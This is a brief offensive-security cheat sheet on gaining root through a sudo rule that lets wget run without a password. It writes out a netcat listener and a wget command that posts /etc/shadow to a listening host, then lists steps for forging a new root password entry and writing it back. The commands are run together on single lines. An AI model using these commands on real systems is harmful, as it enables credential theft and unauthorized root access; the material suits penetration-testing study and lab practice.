Sudo Wget Privilege Escalation
Investigation
sudo -l
(root) NOPASSWD: /usr/bin/wgetModify /etc/shadow
1. Get the Content of /etc/shadow
nc -lvnp 4444sudo /usr/bin/wget --post-file=/etc/shadow <local-ip> 44442. Create a New Shadow File
3. Create a New Root User Password and Add to Shadow File
4. Transfer the Content of the Shadow File
Last updated